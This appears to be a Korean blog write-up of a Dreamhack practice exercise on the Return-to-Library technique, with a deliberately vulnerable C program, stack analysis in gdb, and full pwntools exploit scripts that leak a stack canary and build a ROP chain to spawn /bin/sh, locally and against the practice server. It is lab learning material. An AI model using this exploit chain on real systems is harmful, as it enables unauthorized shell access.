Dreamhack/Pwnable 문제 풀이

[Pwnable] Exploit Tech: Return to Library

seobangwool 2026. 4. 15. 11:06

RTL 실습 코드

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt'");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

image

카나리랑 NX가 적용되어 있다.

최신 리눅스 커널이면 ASLR은 기본으로 적용되어 있다고 한다 (언급 없으면 적용)

 

코드 분석

  • const char* binsh = "/bin/sh"; 우선 이 코드는 “/bin/sh”를 바이너리에 추가하기 위해 작성된 코드라고 한다. ASLR이 적용되어도 PIE가 적용 안되면 CS TS 주소가 고정이므로 “/bin/sh” 의 주소도 고정이다.
  • system("echo 'system@plt'"); 이 코드는 PLT에 system 함수를 추가하기 위해 작성된 코드라고 한다. ASLR에 걸려 있어도 PIE가 적용되어 있지 않으면 PLT 주소는 고정이므로, 라이브러리 베이스 주소가 무작위로 매핑되어도 실행시킬 수 있게 된다.
    Return to PLT 라는 공격기법
  • 마지막 코드들은(19~28) 두 번의 오버플로우로 스택 카나리를 우회하고, 반환 주소를 덮을 수 있도록 하는 코드이다.

이제 PLT를 이용해서 NX를 우회해보자

 

익스플로잇 설계

  • NX가 적용되어 있으므로 셀 코드를 주입하고 실행시킬 수 는 없다.
  • 하지만 “/bin/sh”의 주소를 구할 수 있으니까 system 함수의 PLT 주소만 알 수 있다면
    system( “/bin/sh”)를 호출하도록 만들어보자
  • system 함수는 인자가 하나이므로 rdi 에 “/bin/sh” 의 주소가 들어가게 된다
  • rdi 값을 “/bin/sh”의 주소로 바꾸면 system( “/bin/sh”)을 실행하게 된다
    리턴 가젯(return gadget) 활용

 

리턴 가젯(return gadget)
리턴 가젯은 다음과 같이 ret 명령어로 끝나는 어셈블리 코드 조각을 의미한다.
pwntools에 같이 설치되는 ROPgadget 명령어를 사용해서 가젯을 구할 수 있다.

image

리턴 가젯을 이용해서 그 가젯의 주소를 리턴 주소로 덮어씌울 예정이다

addr of ("pop rdi; ret")   <= return address
addr of string "/bin/sh"   <= ret + 0x8
addr of "system" plt       <= ret + 0x10

그러기 위해선 당연히 카나리 값과 리턴 주소가 어디 위치하는지 알아야하므로
그거부터 찾아준다.

일단 스택 구조를 한번 예측해봤다.

스택에 들어가는 값이 buf 48바이트 밖에 없으므로

buf 48 byte
카나리 8바이트
SFP 8바이트
리턴주소 8바이트

이런 느낌으로 채워질 거 같은데 동적 분석으로 한번 확인해보겠다

참고로 동적 분석을 할 때 system 코드 부분에 그냥 브레이크를 걸면

image

이런 오류가 뜬다.

그 이유랑 해결 법부터 찾고 넘어가보자.

c 코드 상에는 문제가 없지만 gdb 설정의 문제라고 한다.
system 함수는 이러한 흐름으로 실행된다.

int system(const char *command) {
    pid_t pid;
    int status;

    pid = fork();            // 1. 자식 프로세스 생성
    if (pid == 0) {          // 2. 자식 프로세스 (child)
        execl("/bin/sh", "sh", "-c", command, (char *)0);  // /bin/sh 실행
        _exit(127);          // exec 실패하면 종료
    } else if (pid < 0) {     // 3. fork 실패
        return -1;
    }

    // 4. 부모 프로세스 (parent)
    while (waitpid(pid, &status, 0) < 0) {
        if (errno != EINTR) {
            status = -1;
            break;
        }
    }
    return status;
}

이런 system() 라이브러리 함수가 호출되면,
system() 안에서 fork() 시스템 콜을 하게 되는데

여기서 fork()는 분기를 만드는 함수 정도로 이해하면 될 듯하다.
(조금 더 정확히는 실행 흐름을 복제해서 부모와 자식으로 분기 실행)

아무튼 fork()가 일어날 때 gdb는 CPU가 직접 다루는 저수준 동작을 가로채서 처리하게 된다.
다르게 말해서 fork 이벤트를 감지하게 되는데 이때 gdb 내부 설정 중에 (follow-fork-mode)를 확인한다.
보통 gdb의 기본 설정은 set follow-fork-mode child 이다. (자식 함수로 바로 넘어가기)

즉, 현재 코드에서 gdb는 system 함수를 만나면 부모 프로세스 디버깅을 멈추고, 자식 프로세스를 새로 디버깅 대상으로 삼는 것이다.

근데 fork() 함수 이후에는 gdb는 자식 프로세스인 /bin/sh 를 따라간 상태이고, 그 안에는 내가 걸어놨던 브레이크 주소도 없고 main 심볼도 없고 심지어 코드도 다르다

그럼에도 gdb는 이전에 가지고 있던 브레이크 포인트를 재적용 하려고 하고 거기서

image

위에서 본 이런 오류가 뜨는 거다.

쉽게 말하면 그냥 gdb의 대상이 바뀌었단거다.
부모 프로세스도 그대로 살아있고, gdb가 더 이상 추적하거나 제어하지 않는 상태인거다.

 set follow-fork-mode parent

아무튼 해결법은 그냥 gdb 설정을 바꿔주면 된다 (fork 후에도 부모 프로세스 유지)

 

동적 분석

image

우선 디스어셈으로 브레이크를 걸 위치를 생각해준다
첫번째 read에서 브레이크를 걸고 버퍼를 전부 채워서 어떻게 되는지 보면 될 거 같다.

 

image

나는 main +139 에 걸고 H를 48바이트 채워줬다.

 

imageimage

다음으로 스택이 어떻게 되어있는지 보면

buf 48 byte
더미 8 byte
카나리 8 byte
SFP 8 byte
리턴주소 8 byte

이렇게 더미 8바이트가 더 있다는 것을 알아냈다
buf에 48 + 8 + 1바이트 쓰레기 값을 넣으면 0x00을 제외한 7바이트의 카나리 문자가 나올 것이다.

 

image (11)

rdi 값을 수정해야 하니까 pop rdi 리턴 가젯을 찾아준다.
gcc -o rtl rtl.c -fno-PIE -no-pie 이렇게 직접 컴파일시키면 pop rdi 가 없으므로
꼭 컴파일 된 파일을 다운 받아서 해야한다

 

image (12)

/bin/sh 주소도 찾아주고

 

image

ret 리턴 가젯까지 찾아주면 된다

 

완성된 익스플로잇 코드

from pwn import *

p = process('./rtl')
e = ELF('./rtl')

def slog(name, addr): return success(': '.join([name, hex(addr)]))

buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)

# [2] Exploit
system_plt = e.plt['system']
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400596

payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
payload += p64(ret)  # align stack to prevent errors caused by movaps
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)

pause()
p.sendafter(b'Buf: ', payload)

p.interactive()

 

image

잘 나온다.

이제 실습 서버로 코드를 실행할 수 있게 바꿔주면

from pwn import *

p = remote('host3.dreamhack.games',22342)
e = ELF('./rtl')

def slog(name, addr): return success(': '.join([name, hex(addr)]))

buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)

# [2] Exploit
system_plt = e.plt['system']
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400596

payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
payload += p64(ret)  # align stack to prevent errocatrs caused by movaps
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)

pause()
p.sendafter(b'Buf: ', payload)

p.interactive()

 

image

이것도 잘 나온다